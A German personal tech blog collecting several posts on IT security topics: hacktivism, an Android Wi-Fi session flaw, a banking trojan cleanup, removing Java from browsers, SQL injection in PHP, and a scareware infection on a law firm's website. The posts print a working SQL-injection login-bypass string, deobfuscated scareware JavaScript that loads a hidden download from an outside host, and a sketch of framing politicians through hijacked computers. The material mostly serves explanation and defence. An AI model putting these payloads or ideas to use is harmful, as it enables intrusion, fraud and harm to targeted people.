spackblog

Vor ein paar Jahren habe ich mal in einem Artikel prophezeit, dass irgendwann eine neue RAF oder etwas ähnliches entsteht. Nun mag man das Phänomen Anonymous, LulzSec und Co. bereits so werten, dass meine Aussage erfüllt ist, auf so etwas wollte ich damals unter anderem auch hinaus, aber das ist noch einiges von dem entfernt, was ich eigentlich meinte. Mit einem neuen politischen Terrorismus meinte und meine ich tatsächlich radikalere Ansätze wie den der (frühen) RAF. Dass das nicht mit Bombenanschlägen und Entführungen einhergehen muss sollte durch den Zeitgeist gedeckt sein, das ist oldschool und an Leib und Leben anderer heranzugehen hat sich als die eine Spur zu krass herausgestellt, dass es selbst hartgesottenen Typen zu weit geht. Davon abgesehen, dass damit auch die Grenze überschritten ist, bis zu der man im Volke noch mit Rückhalt rechnen kann. Da will momentan wohl niemand noch mal hin, was gut ist.

Aber die Radikalität als (letztes) legitimes Mittel der politischen Meinungsäußerung anzusehen ist auch heute noch – oder wieder – in der Jugend herauszuhören. Was Anonymous und LulzSec dieses Jahr in die Medien getragen haben war ein auf mehreren Ebenen wichtiges Signal. Offensichtlich ist, dass endlich jemand wirksam in die Medien trägt, was IT-Experten seit Jahren anprangern, nämlich den absolut unzureichenden Umgang mit dem Thema Datenschutz bei fast allen Institutionen. Das wird seit Jahren gepredigt, angeprangert, immer wieder weisen wir "IT-Experten" auf die Problematik hin, aber es hat einfach niemand zugehört. Nun kommt die Quittung und das kann ich im Sinne des Told-You-So-Karmas nur gut heißen. Das nur am Rande, denn auch darauf will ich nicht hinaus, da ist ja keinerlei Terrorimus in Sicht, sondern in vielen Fällen schlicht Erpressung oder Rache oder auch "nur" Lulz (also Spaß am Vandalismus).

Trotzdem ist bei einigen Angriffen ein gewisses politisches Moment auzumachen, mal mehr, mal kaum bemerkbar. Und hier liegt die Keimzelle zum neuen politischen Terrorismus, wie ich ihn postuliere. Nicht mehr lange, da bin ich mir sicher, und wir werden klar politisch motivierte Aktionen aus den gleichen Kreisen zu sehen bekommen. Die Aufmerksamkeitsmaschine läuft ja bereits, das Motiv Rache/Vergeltung haben wir auch bereits (bei Sony, PayPal und MasterCard) gesehen, nun fehlt nur noch die klare politische Forderung und ein bisschen mehr Sprengkraft als DDoS mit der Low Orbit Ion Cannon (was für ein großartiger Name) oder die Veröffentlichung von schlechtest gesicherten 1.000.000 Kundendaten von irgendeiner Firma. Hervorzuheben sind in diesem Sinne klar das Defacement der GEMA-Website (mit der schönen Meldung "Diese Website ist in Deinem Land nicht verfügbar") und die Veröffentlichung von Mailadressen samt Passwörtern einer großen Porno-Website mit einigen sehr peinlich berührten Mitgliedern in politischen Ämtern der USA. Da geht die Reise hin.

Die Sprengkraft muss sich bei den richtigen Leuten entfalten. Als sich kürzlich Sebastian Edathy von der SPD zu Recht über die absurde Urheberrechtslage in Deutschland aufgeregt hatte, bekam er als Antwort einen lesenswerten offenen Brief und viel Häme aus dem Netz ausgeschüttet, weil es nun eben (endlich) jemanden trifft, der für die ganze netzpolitische Misere mitverantwortlich ist, in der wir stecken. Oder das Thema Hausdurchsuchungen auch nichtigsten Verdachtsmomenten heraus. Ich warte tatsächlich täglich auf Aktionen, die dafür sorgen, dass eben diejenigen, die dem absichtlich keinen Riegel vorschieben, diese Keule abbekommen. Es ist zur Zeit geradezu lächerlich leicht, jemanden in irgendeinen Verdacht zu bringen, der eine Hausdurchsuchung rechtfertigt. Es reicht ja mitunter, dass ein Nachbar meint, verbotene Pflanzen auf dem Balkon gesehen zu haben. Oder man kapert den Rechner einer Zielperson und tritt ausgiebig in die zahlreichen Kinderporno-Honeypots, die die Strafverfolgungsbehörden angeblich betreiben, um Kinderporno-Konsumenten zu fangen. Technisch ist das kein Problem, mit etwas sozialem Geschick bekommt man auch durchaus gezielt bestimmte Rechner mit Bots infiziert. Die naheliegende Idee dahinter ist ja, dass (Innen-)Politiker, nur mal selber direkt oder indirekt von vorschnellen Hausdurchsuchungen und ähnlichen Repressalien betroffen sein müssen, damit die Hürden dafür wieder angemessen hoch gehängt werden.

Und ich wage mal zu behaupten, dass auf solche Ideen nicht nur so friedfertige Leute ohne kriminelle Energie wie ich kommen, sondern eben auch diejenigen, die PayPal DDoSen und Millionen Kundendatensätze von Sony erbeuten und veröffentlichen. Der Netzgeneration auf die Füße treten tun nicht nur Sony und PayPal, sondern dank Vorratsdatenspeicherung, ständig steigender Kriminalisierung der Lebensbereiche, Netzsperren etc. eben vor allem die konservative Politik (wozu bei diesem Themenbereich eben leider auch die Grünen und die SPD zählen, nicht nur die CDU/CSU).

Das meine ich mit neuem politischen Terrorismus. Triff die richtigen wo es ihnen weh tut. Neu ist dabei der dritte Faktor: Bleib auf dem Teppich. Wo man früher entführen musste oder mit Bomben Leute töten, um die nötige Krassheit zu erreichen, hat die Jugend heute ja ein viel subtileres und vor allem nicht lethales Instrumentarium an der Hand, es ist nur eine Frage der Zeit, wann es genutzt wird. Nicht ob.

Das soll übrigens kein Aufruf sein, vielmehr zahle ich hiermit schon mal für später auf mein Told-You-So-Karma-Konto ein. Ich behalte nämlich nur all zu gerne Recht.

Zur Zeit wird überall über eine Sicherheitslücke in Android-Smartphones berichtet, dazu ein paar Worte. Zuallererst: Wirklich peinlich, dass das sogar Googles Hausapplikationen betrifft, bin von denen mehr Sorgfalt gewohnt. Beschämend. Das grundsätzliche Problem betrifft aber bei weitem nicht nur Android, sondern liegt im allgemein viel zu sorglosen Umgang mit unverschlüsselten Netzzugängen. Wer ein unverschlüsseltes WLAN benutzt, was auf die meisten öffentlichen Hotspots zutrifft, muss sich um eine Verschlüsselung seiner Nutzdaten selber kümmern. Das ist nicht neu, die Firefox-Erweiterung Firesheep hat das vor ein paar Monaten schon eindrucksvoll demonstriert: Man kann es sich in Funkreichweite eines öffentlichen WLANs bequem machen, Firesheep anwerfen und bequem alle eingeloggten (und unverschlüsselten) Facebook-Sessions der Nutzer in Funkreichweite mitlesen und – besonders beeindruckend – übernehmen. Facebook hat, etwas halbherzig, reagiert und den Nutzern die Möglichkeit an die Hand gegeben, sich nur per SSL verschlüsselt bei Facebook zu bewegen, das muss man aber erst (in den Kontoeinstellungen unter Kontosicherheit – Sicheres Durchstöbern (https)) aktivieren und außerdem funktionieren einige Seiten und Apps mit Verschlüsselung schlicht nicht.

Das besonders unangenehme an der aktuellen Android-Situation ist nun, dass die Nachlässigkeit in den zentralen Google-Apps zur Kalender-, Kontakte- und Picasa-Synchronisation stecken. Die meisten Android-Apps lassen sich über den Market aktualisieren, das Problem wäre binnen kürzester Zeit behoben, alles wäre gut. Das passiert übrigens tatsächlich in etlichen Apps auf allen Plattformen und ist ein länger diskutiertes Problem, vor allem, wenn es um Banking-Apps und ähnliche geht. Leider gehören die jetzt betroffenen Apps aber zum Betriebssystem und lassen sich nur durch ein Android-Update auf die ganz aktuelle Version beheben, die für viele ältere Geräte gar nicht kommen wird und für halbwegs aktuelle Geräte vielleicht irgendwann. Wie gesagt, sehr sehr peinlich, dass Google ausgerechnet da so geschlampt hat.

Aber sehen wir es mal positiv und leiten drei Hoffnungen daraus ab:

1. Die Leute gehen nun hoffentlich angemessen kritisch mit offenen WLANs um. Man wird ja noch mal träumen dürfen. Aber im Ernst: Die Sorglosigkeit der Nutzer im Umgang mit öffentlichen WLANs hat mich schon immer gewundert. Wer auf einem Notebook irgendetwas ohne Verschlüsselung benutzt ist irgendwie auch selber schuld. Es sei denn, man kann keine Verschlüsselung aktivieren, dann ist ganz klar der Hersteller schuld. Das ist ähnlich unbedarft, wie seine Passwörter auf irgendwelchen dahergelaufenen Internet-Café-Rechnern einzugeben. Kurz gesagt: Bleiben lassen.

2. Die Gerätehersteller veröffentlichen nun hoffentlich endlich regelmäßig und zeitnah die von Google bereitgestellten Updates. Die Absichtserklärung dazu ist ja unlängst von etlichen Herstellern und Netzbetreibern abgegeben worden, aber Android braucht darüber hinaus eine Möglichkeit, Sicherheitsupdates auch ohne neue Hauptversionen zeitnah einzuspielen, vorzugsweise automatisch. Alles andere führt zur jetzt so unangenehmen Situation. Also ist hier ganz klar Google in der Verantwortung. Aber auch die Kunden: Kauft einfach keine Android-Telefone bei Herstellern, die für nicht mal ein Jahr alte Geräte schon keine Updates mehr liefern.

3. Die App-Entwickler könnten das als Denkanstoß benutzen, endlich nur noch verschlüsselte Kommunikation zu verwenden. Unverschlüsselte Kommunikation auf mobilen Geräten ist ein No-Go, ganz besonders, wenn Session-Tokens oder Zugangsdaten übertragen werden. Das ist nicht neu, aber scheinbar nicht mal bis zu Googles Android-Programmierern vorgestoßen.

Abhilfe in der konkreten Situation schafft übrigens einfach der Verzicht auf unverschlüsselte WLANs. Die sind leicht daran zu erkennen, dass man kein Passwort direkt beim Verbindungsaufbau eingeben muss (unabhängig davon, ob man sich danach im Browser mit irgendeinem Code einloggen muss). Alternativ kann man die Synchronisation von Kontakten, Terminen und Picasa-Bildern erst mal abschalten, bis man ein Update bekommen hat. Vielleicht überdenkt man sowieso mal, ob die Synchronisation von Kontakten und Terminen mit einem Cloud-Anbieter generell eine so gute Idee ist.

P.S. Auch in verschlüsselten WLANs können unverschlüsselte Nutzdaten abgefangen werden. Das ist zwar weniger wahrscheinlich, aber wer weiß, ob der Betreiber eines WLANs nicht allen Datenverkehr aufzeichnet oder die Daten auf dem Weg durch das Internet irgendwo abgefangen werden. Eine sogenannte Ende-zu-Ende-Verschlüsselung sollte also unabhängig von eventueller Verschlüsselung auf einem Teil des Transportweges erfolgen.

So, genug erhobener Zeigefinger. Weitermachen.

Kürzlich wurde ich gerufen, um einen Rechner mit Windows 7 von einem Trojaner zu befreien, der eine lustige TAN-Abfrage in das Online-Banking der Postbank injiziert ("Geben Sie 20 TANs ein" direkt nach der Eingabe von Kotonummer und PIN). Schnell war klar, dass ich es mit einem ordentlichen Stück Software zu tun hatte, weil alleine die organische Einbindung der injizierten Abfrage mittels jQuery UI wirklich sauber ausgeführt wurde. So gehört sich das. Der Virenscanner hat zwar etwas gefunden, aber das verriet lediglich den Weg der Infektion über ein veraltetes Java-Plugin (Update 17, aktuell ist Update 23). Ein Autostart war auch schnell auffindbar, aber ebenfalls eine Sackgasse: Die Exe hatte 0 Byte und war zusammen mit dem Autostart-Eintrag nach jedem Löschen plus Neustart wieder da. Klingt ziemlich nach Rootkit, also Rechner mitnehmen und genauer ansehen.

Also habe ich als nächstes die Desinfec't DVD von der c't 02/2010 gebootet und einige Stunden Bitdefender, Kaspersky und Avira mit aktuellen Signaturen laufen lassen. Für sowas braucht man viel Zeit, weil alleine die Akualisierung der Scanner sich bei mir im Stundenbereich bewegt hat. Verwunderliches Ergebnis: Nichts, keine einzige verdächtige Datei, die Avira nicht schon aus dem laufenden System heraus in Quarantäne verschoben hatte. Nanu? Irgendwo her muss der Scheiß doch kommen und so neu oder unbekannt wird so ein Virus auch nicht sein. Bleibt also als letzte Möglichkeit der MBR. Also schnell mal mit fixmbr.exe hantiert und von einer Boot-CD aus den Autostart und die immer wieder neu angelegte 0-Byte-Exe gelöscht, und zack, das war es. Keine TAN-Abfrage mehr beim Banking. Die hatte übrigens den Firefox und den Internet Explorer betroffen, nicht aber einen testweise heruntergeladenen Protable Chrome. Scheinbar injiziert sich das Ding als geheime DLL in ihm bekannte Browser, um sein Unwesen zu treiben.

So muss das. Diese Scriptkiddie-Virusbaukasten-Kinderkacke langweilt doch nur. Ich warte schon lange auf solche Schadsoftware, die mal ein echter Gegner ist; die auch mal von Leuten lanciert wird, die nicht mit ihren scheiß Botnetzen und adoleszent geprägten Allmachtsfantasien irgendwelche Seiten DDoSen, weil man dort ihren Account wegen Missbrauchs geblockt hat. Von sowas hat mir gerade gestern noch jemand erzählt, der eine Matchmaker/Liga-Seite für ein beliebtes Computerspiel betreibt. Stattdessen gibt es ordentlich gestaltete Software, die ihren Zweck erfüllt und mal wieder zeigt, wie angreifbar Online-Banking mit TAN-Liste doch ist. Mit Browser-basiertem Banking hat man da besonders als Angreifer leichtes Spiel, aber wenn jemand so weit ist, dass er sich mit einem MBR-Rootkit tarnen und unauffällig den ganzen Browser manipulieren kann, sollte auch ein Angriff auf StarMoney oder andere Banksoftware kein prinzipielles Problem sein.

Dass man hier sehr auffällig direkt 20 iTANs haben will, ist wohl dem Umstand geschuldet, dass man diese nur verkauft und eben nicht direkt selber nutzt. Sollte sich jemand finden, der bereit ist, das zu tun, ist es natürlich viel erfolgsversprechender, eine legitime TAN-Abfrage abzuwarten und nur die Überweisungsdaten zu manipulieren. Dagegen helfen einige neuere TAN-Verfahren, die neben der TAN auch immer Ziel und Betrag der Überweisung anzeigen. Wenn man dem überhaupt Beachtung schenkt. mTAN oder die neueren TAN-Generatoren tun da gute Dienste, weil sie die TAN-Generierung an die angezeigten Überweisungsdaten binden. Nutzt sowas, wenn ihr das noch nicht macht. Oder eben HBCI-Chipkarten-Banking mit (teurem) Kartenleser mit Display und eigenem Pinpad, aber das ist wirklich sehr unkomfortabel, vor allem wenn man mehr als eine Bank hat.

Insgesamt muss man sagen: Haltet um Gottes Willen Eure Software aktuell! Ein Java Update 17 ist einfach mal sechs Versionen alt und enthält etliche Sicherheitslücken, die sich ohne Zutun des Anwenders bequem im Browser ausnutzen lassen. Was aus sowas werden kann, hat dieser Fall mal wieder eindrucksvoll bewiesen. Auf dem betroffenen Rechner habe ich jetzt Java einfach deinstalliert, denn bezeichnend an der Sache ist, dass der Besitzer von Java eben noch nie etwas gehört hatte; kein Wunder also, dass er dessen Update-Anfragen offensichtlich ignoriert hat. Weg damit. Überhaupt: Alle Browser-Plugins sind tickende Zeitbomben, das gilt genau so für Flash und den Adobe Reader (oder Shockwave oder Quicktime oder Windows Media). Die Browser sind heutzutage echt ziemlich sicher geworden, vor allem Google Chrome mit seinen ungefragten Hintergrund-Updates geht da den richtigen Weg. Aber wenn man sich diese Sicherheit mit Sandboxen und allem durch veraltete Plugins direkt wieder kaputt macht, ist das ein Fehler im Prinzip. Also: Plugins vermeiden oder zumindest nicht ungefragt ausführbar machen, ein Flashblocker ist heutzutage sicherheitstechnisch wirklich Gold wert, NoScript kann das sogar mit allen Plugins. Ansonsten muss Java eben ganz gehen, aber das hatten wir ja schon neulich.

Es hat sicher jeder schon mal irgendwo gesehen: Während eines Bestellvorgangs gibt man seine Kontodaten an und bekommt die im späteren Verlauf oder auf Rechnungen noch einmal angezeigt. Dabei wird die Kontonummer fast immer teilweise verschleiert. Ich frage mich schon immer, wieso das gemacht wird. Gibt es da eine Vorschrift? Kontonummern gehören für mich nicht zu den sonderlich sensiblen Informationen, sie gehören zum Beispiel zwingend im Klartext auf meine Rechnungen. Das ist nun aber gar nicht das Problem.

Lästig wird das ganze, wenn man mehrere Konten bei einer Bank hat. Ich würde mal davon ausgehen, dass in dem Fall die meisten Leute Konten haben, die sich nur in den letzten Stellen unterscheiden. Sind nun aber von der Kontonummer nur die ersten paar Stellen zu sehen und der Rest mit Sternchen maskiert, weiß kann man nicht erkennen, von welchem Konto denn nun abgebucht werden soll. Also beim Maskieren von Kontonummern aufpassen und die hinteren drei oder vier Ziffern in Ruhe lassen. Wird leider viel zu häufig anders herum gemacht.

Weiß zufällig jemand, ob es eine zwingende (gesetzliche) Grundlage für das Maskieren von Kontonummern in Verträgen und auf Rechnungen gibt? Falls nicht, warum wird es dann überall gemacht? Weil man das halt so macht ist jedenfalls kein guter Grund. Ich vermute ja, dass das dem Kunden irgendein warmes Gefühl der Sicherheit geben soll, dass der Anbieter nicht leichtfertig mit seinen Kontodaten umgeht. Wie auch immer, mich nervt das jedenfalls sehr.

Ich mochte die Java-Runtime noch nie, in letzter Zeit aber hat das Java-Plugin im Browser die Führung übernommen (von Flash und dem Adobe Reader), was die Ausnutzung von Sicherheitslücken angeht. Also ist eines klar: Java muss endlich mal aus meinen Browsern verschwinden, vorzugsweise gleich vom ganzen System. In Opera benutze ich sowieso schon den PlugIn-Blocker, den man in opera:config aktivieren kann und der alle PlugIns erst nach einem Aktivierungsklick auf einen Platzhalter startet. Das betrifft dann auch das Adobe Reader PlugIn, Flash und Silverlight. Bequem, aber irgendwie habe ich das Gefühl, dass einige PlugIns trotzdem einfach so starten (möglicherweise, wenn sie in einem iframe geladen werden). Im Firefox kann man PlugIns einfach deaktivieren, aber nach einem Update von Java war selbiges im Firefox wieder aktiv. Also auch hier nur eine halbe Lösung. Java muss also vom System verschwinden, die Browser sollen keine PlugIns sehen.

Leider stehen der systemweiten Deinstallation von Java einige Hürden entgegen, allen voran ein paar unersetzliche Java-Programme wie Netbeans und der JDownloader. OpenOffice meckert ohne Java auch herum, läuft dann aber trotzdem. Ich habe das alles lösen können, als Notiz eine kurze Beschreibung, worauf es ankommt:

1. JavaPortable

Dankenswerterweise gibt es bei portableapps.com eine portable Version von Java, die aktuell gehalten wird und sich bequem und fix installieren lässt. Ich habe ein Sammelverzeichnis für portable Programme, dort landet gleich auch Java. Soweit kein Problem, Java findet sich jetzt unter D:\ProtableApps\Java (das sind Backslashes, keine Pipes, liegt am Font).

2. JDownloader und andere Java-Programme, die als .jar kommen

Der JDownloader ist ein klassisches Java-Programm, das direkt als .jar kommt und mit einem einfachen Aufruf gestartet werden kann. Man legt in so einem Falle einfach irgendwo eine neue Verknüpfung an und trägt ins Zielfeld D:\PortableApps\Java\bin\javaw.exe -jar D:\PortableApps\Jdownloader\JDownloader.jar ein, in das Feld "Ausführen in:" kommt D:\PortableApps\Jdownloader. Die Pfade müssen natürlich der Situation angepasst werden und ggf. jeweils in Anführungszeichen gepackt werden, wenn Leerzeichen darin vorkommen. Dann wählt man der Optik halber das Symbol der JDownloader.exe aus und speichert die Verknüfpung ab. Das wars schon, JDownloader läuft jetzt ganz entspannt und hat sogar den Vorteil, dass man die Verknüpfung an die Taskleiste von Windows 7 anheften kann, was mit der JDownloader.exe daran scheitert, dass man nur den Starter anheften kann und für das laufende Programm ein zweiter Eintrag in der Taskleiste erscheint. Heftet man das laufende Programm an, hat es nur ein fieses Platzhalter-Symbol, wenn es nicht läuft.

3. OpenOffice/LibreOffice

OpenOffice bzw. LibreOffice meckert beim ersten Start, wenn keine Java-Runtime am Start ist, lässt sich aber unter Extras->Optionen->OpenOffice.org->Java ohne weiteres mit der portablen Runtime bekannt machen. Ich bin mir aber gar nicht sicher, ob das überhaupt notwendig ist, denn auch ohne Java scheint OpenOffice/LibreOffice ganz normal zu funktionieren.

4. NetBeans

Netbeans benötigt normalerweise ein ganzes JDK, da kommt man um eine systemweite Installation nicht herum. Will man es nur für die PHP-Enwicklung (oder andere Java-freie Sprachen) benutzen, reicht aber auch eine portable JRE. Nur scheitert die Installation ohne systemweites Java. Hilfsweise kann man ein bereits installiertes NetBeans umstellen oder die plattformunabhängige Version hernehmen, der Trick ist der gleiche: Im etc-Ordner der Installation gibt es eine netbeans.conf, die eine Zeile für den Pfad der JRE enthält. Den schnell umgestellt (Pfad natürlich wieder anpassen), und NetBeans startet wieder:

netbeans_jdkhome="D:\PortableApps\Java"

Bei meinen ersten Versuchen bin ich daran gescheitert, dass hier das Java-Hauptverzeichnis angegeben werden muss und nicht das Unterverzeichnis bin mit dem Java-Binary.

Fazit

So, meine Browser sind nun zuverlässig befreit vom Java-PlugIn und ich kann wieder ruhig schlafen; meine wichtigen Java-Programme laufen nach kurzem manuellem Eingriff trotzdem wie zuvor. Alles wird gut. Schlimm genug, dass Browser Sicherheitslücken haben, aber sowieso nie benutze PlugIns wie Java werden immer wieder vergessen, erfahren keine oder zu späte Updates und sind alle paar Wochen erneut ein spannender Zoo von Zero-Day-Exploits. Die Antwort kann nur lauten: Weg damit. Und Java im Browser werde ich nicht vermissen.

P.S. Bei der Gelegenheit habe ich übrigens auch gleich den Adobe Reader entsorgt und durch SumatraPDF ersetzt, ein simples Frontend für Ghostscript, das zur einfachen Anzeige völlig reicht und zudem super schlankt ist. Nachteil ist, dass das Markieren von Text damit nicht wirklich komfortabel klappt (Strg gedrückt halten und einen Rahmen aufziehen, der darunter liegende Text wird dann irgendwie unvorhersehbar markiert). Das kann ich aber zumeist verschmerzen. Flash wird bei mir sowieso in allen Browsern grundsätzlich geblockt (Opera blockt alle PlugIns bis auf Widerruf, FlashBlock erledigt das in Firefox und Chrome dank einer einfachen Whitelist sogar noch viel eleganter).

Nachtrag 19.11.2010: Wenn man JDownloader auf die angegebene Weise mit einem portablen Java verheiratet, kann man .dlc-Dateien leider nicht mehr per Doppelklick im JDownloader öffnen. Man muss dazu die Dateizuordnungen manuell ändern, was wiederum in Windows 7 nicht mehr mit den klassischen Bordmitteln geht. Die alte Oberfläche zur genaueren Dateizuordnung gibt es sein Vista nicht mehr, man muss also in der Registry hacken oder das tolle Tool ExtMan benutzen, das in etwas die alte von XP gewohnte Oberfläche wieder bringt. Tolles Tool und ein prima Ziel für PayPal-Spenden. Für den JDownloader muss man den Eintrag für .dlc-Dateien editieren und folgende "Anwendung für diesen Vorgang" zuordnen (wie immer: Pfade anpassen): D:\PortableApps\Java\bin\javaw.exe -jar D:\PortableApps\Jdownloader\JDownloader.jar "%1". Dann klappt auch der Start per Doppelklick wieder. Für die visuellen Typen habe ich dazu mal zwei Screenshots gemacht:

Gelegentlich habe ich das Vergnügen, in fremdem PHP-Code zu wühlen. Über die Nichteinhaltung irgendwelcher Coding-Standards ärgere ich mich deshalb nicht mehr, weil das der Normalfall ist. Was mich aber immer wieder bass erstaunt, ist die Anfälligkeit für SQL-Injections. Im Jahre 2010 sollte sich doch wirklich auch zum letzten PHP-Frickler herumgesprochen haben, das Konstrukte wie diese beiden hier wahnsinnig sind:

$sql = "SELECT * FROM tabelle WHERE ort = '" . $_POST['ort'] . "'";

$sql = "SELECT * FROM users WHERE username = 'admin'
  AND password = '" . $_POST['password'] . "'";

Gibt man nun im zweiten Beispiel ein kleines leckmich' OR 1 OR password = ' ein, macht PHP daraus folgendes SQL-Statement:

$sql = "SELECT * FROM users WHERE username = 'admin'
  AND password = 'leckmich' OR 1 OR password = ''";

Et voilà, wir sind als Admin eingeloggt. Das ist ein echtes Beispiel, das mir mal den Zugang zu einem Admin-Backend ermöglicht hat, zu dem ich auf die Schnelle keine Zugangsdaten bekommen konnte. In dem Fall war das ein Segen, weil es mir die Arbeit erleichtert hat, aber auf die Idee hätte auch irgendwann jemand anderes kommen können. Es gibt auch ein legendäres XKCD dazu, das ich gerne als Einstieg in meiner Vorlesung benutze, wenn es um Computersicherheit geht.

Manchmal wird $_POST immerhin vorher irgendwie geprüft oder gefiltert, Konstrukte wie das folgende sind also im Grunde recht klug gedacht:

$connection = mysql_connect('localhost', 'user', 'password');
mysql_select_db("dbnamme", $connection);
if ( preg_match('/[\w\(\)\.-]/iu', $_POST['ort']) )
{
  if ( $result = mysql_query("SELECT * FROM tabelle WHERE ort = '" . $_POST['ort'] . "'") )
  {
    $row = mysql_fetch_array($result);
  }
}

Allerdings neigt man bei solchen Sachen dazu, im Eifer des Gefechts die wichtige Prüfung auf ungültige Zeichen zu vergessen oder unter bestimmten Randbedingungen gar nicht ausführen zu lassen. Es gibt unzählige Möglichkeiten, eine SQL-Injection zu vermeiden, irgendeine davon sollte genutzt werden. Mein Favorit ist eindeutig die Nutzung eines Frameworks, das sich darum kümmert, oder eben die eigene Datenbankprogrammierung ausschließlich über prepared statements und PDO. Letzteres sieht dann für obige Funktionalität vereinfacht etwa so aus:

$dbh = new PDO('mysql:host=localhost;dbname=dbname', 'user', 'password');
$stmt = $dbh->prepare("SELECT * FROM tabelle WHERE ort = :ort");
if ( $stmt->execute(array(':ort' => $_POST['ort'])) )
{
  $row = $stmt->fetch(PDO::FETCH_ASSOC);
}

Hier sorgt das prepared statement von PDO dafür, dass zuerst der SQL-String mit Platzhalter an die Datenbank übertragen wird, und später getrennt davon der Inhalt von $_POST['ort']. Keine SQL-Injection möglich an dieser Stelle, wir können ruhig schlafen. Und das beste ist, es ist nicht mal wirklich komplizierter, schwieriger oder mit mehr Code verbunden, einfach sicherer. PDO kann übrigens noch mehr, etwa sehr komfortabel mit Transaktionen umgehen, die dann wichtig werden, wenn man mehrere voneinander abhängige Schreiboperationen auf der Datenbank durchführt und die nur entweder ganz oder gar nicht haben will. EIn Blick die Dokumentation zu PDO zeigt noch etliche andere Vorteile auf und PHP mindestens in Version 5.1 sollten wir inzwischen doch hoffentlich alle haben.

Neben SQL-Injections gibt es noch unzählige weitere Angriffsflächen auf Webapplikationen, aber wenn man schon an so offensichtlichen Grundlagen scheitert, sollte man die eigene Programmierleistung noch mal grundlegend auf den Prüfstand stellen. Vielleicht sollte man auch lieber stricken oder kochen, wenn man da grundlegende Fehler macht, fängt man sich nicht direkt einen Servereinbruch ein. Wer fürs Web programmiert, trägt eine gewisse Verantwortung; sich also zumindest ein klitzekleines Basiswissen an sicherer Programmierung zuzulegen, darf doch erwartet werden. Vor allem, wenn in dem Admin-Interface Kundendaten einsehbar oder gar veränderbar sind, oder man dort anderen Schindluder mit wichtigen Dingen treiben kann. War in obigem Fall nicht so, immerhin.

Klar passieren einem Programmierfehler, aber Daten ungeprüft aus $_POST (oder sonstigen vom Benutzer kontrollierten Quellen) in eine Datenbankabfrage zu übernehmen geht wirklich ganz und gar nicht, nie und nimmer. Das ist ein unverzeihlicher Fehler und zeugt von mangelndem Grundverständnis der Thematik. Wenn ich sowas sehe, frage ich mich immer, ob der jeweilige Programmierer überhaupt ansatzweise weiß, was er da macht. Wenn das ein Anfänger bei seiner ersten Clan-Homepage macht, kann man darüber ja noch lachen, aber wenn Geld fließt, kann man sich solche Sperenzchen einfach nicht mehr leisten.

Nachtrag 01.11.2010: Besonders schön sind übrigens Kommentare wie //Schutz vor SQL-Injection, die nur wenige Zeilen unterhalb einer anderen gefährdeten SQL-Abfrage kommen. Offenbar ist das Problem grundsätzlich bekannt, aber etwas dagegen tun tut man dann doch nur, wenn man mal Lust darauf hat. Warum nur?

Gerade rief ein Kunde an und schilderte mir ein interessantes Phänomen auf der (sowieso schon sehr gruseligen) Website eines Anwalts: Auf einer Unterseiteeite kommt eine Abfrage mit folgendem Text:

Windows Security Center Virus (I-Worm.Troian.B) was found on your computer Click OK to install System Security AntiVirus

Klickt man Abbrechen, kommt folgende Meldung, die man nur abnicken kann, um postwendend wieder bei der ersten Abfrage zu landen.

Windows Security Center recommends you to install System Security Antivirus.

Seine Vermutung war korrekt: Das ist keine Warnung eines Virenscanners, sondern ein Versuch, einem etwas unterzujubeln. Ein Blick in den Quelltext verrät erst mal, dass man es hier mit einem verschachtelten Frameset zu tun hat, also muss man etwas suchen. Jeweils zwischen Vor- und Nachnamen der Kanzleipartner ist ein externes Script von http://google-stats50.info/ur.php eingebunden. Dieses wiederum enthält ein langes Array mit vierstelligen Zahlen und etwas JavaScript Logik, um daraus wieder ausführbaren Code zumachen. Den Inhalt der Datei kann man beispielsweise bei jsFiddle ausführen, wobei man das abschließende eval() durch ein harmloses alert() ersetzt. Dabei kommt der folgende Code heraus, den ich anonymisiert und der Lesbarkeit halber neu formatiert habe:

function download() {
  var ifr5="<iframe style='display:none;' src='http://update1.your-guardian.com/index2.php?abbr=MSS&setupType=with_gui&setupName=setup&uid=VIERSTELLIGEZAHL&ttl=ELFSTELLIGERHASH'></iframe>";
  document.body.innerHTML = ifr5 + document.body.innerHTML;
}

var count=1;

function myconfirm() {
  var UserWidth = window.screen.width / 2;
  var UserHeight = window.screen.height / 2;
  window.resizeTo(screen.width-9999,screen.height-9999);
  window.moveTo(UserWidth,UserHeight);

  if(count<20) {
    count = count+1;
    window.onblur = function() {}
    if(confirm('Windows Security Center\n\nVirus (I-Worm.Troian.B) was found on your computer\n\nClick OK to install System Security AntiVirus')) {
      alert('You must SAVE AND RUN System Security AntiVirus - IT WILL HELP YOU TO SAVE YOUR PC AND DATA');
      window.focus();
      setTimeout('window.onblur=function(){myconfirm();}',100);
      download();
    } else {
      alert('Windows Security Center recommends you to install System Security Antivirus.');
      myconfirm();
    }
  } else {
    window.resizeTo(window.screen.width,window.screen.height);
    window.moveTo(UserWidth,UserHeight);
  }
}

So, wir kommen der Sache schon näher, unsere Meldungen stecken hier im Klartext drin und wir sehen auch, was beim Klick auf OK passiert: Es wird ein iframe eingefügt, der eine Datei zum Download anbietet. Der ttl-Parameter der aufgerufenen iframe-Quelle sorgt übrigens dafür, dass der Download nur in einem kurzen Zeitfenster funktioniert. Scheinbar soll so die Analyse erschwert werden, ich musste mich also etwas beeilen. Die Datei, die dann heruntergeladen wird, scheint ein Installer für einen Fake-Virenscanner zu sein. Klickt man übrigens je 20 mal auf Abbrechen und die darauf erscheinende Warnmeldung, kommt man aus der Nummer auch wieder heraus. Ziemlich freundlich für eine Malware. Also doch nicht so spannend, wie es auf den ersten Blick aussah. Keine ausgenutzten Sicherheitslücken, keine wirklich bösen Malware, nur ein Wald-und-Wiesen Scareware-Scheiß. Dann frage ich mich allerdings, wieso der Quelltext verschleiert wird?

Viel spannender ist allerdings, wie das böse Script auf die Website der Anwaltskanzlei gekommen ist. Untypisch für eine automatische Infektion ist, dass das Script zwei mal genau zwischen Vor- und Nachname platziert wurde. Normalerweise landen automatische Infektionen doch irgendwo am Anfang oder am Ende einer Seite oder irgendwo mehr oder weniger zufällig eingestreut. Haben wir es hier mit einer manuellen Infektion zu tun? Aber warum wird das Script dann gleich zwei mal auf einer Seite eingebunden? Sowieso ist die Seite dubios, beispielsweise liegt sie, wie bereits erwähnt, in einem verschachtelten Frameset und die einzelnen Frameseiten werden von einer IP-Adresse geladen, nur der Hauptframe wird unter der Domain angezeigt. Optik und Quellcode sind gruselig, die ganze Seite wirkt hoffnungslos veraltet und ungepflegt. Dazu diese Infektion. An so einen Anwalt würde ich mich wohl eher nicht wenden.

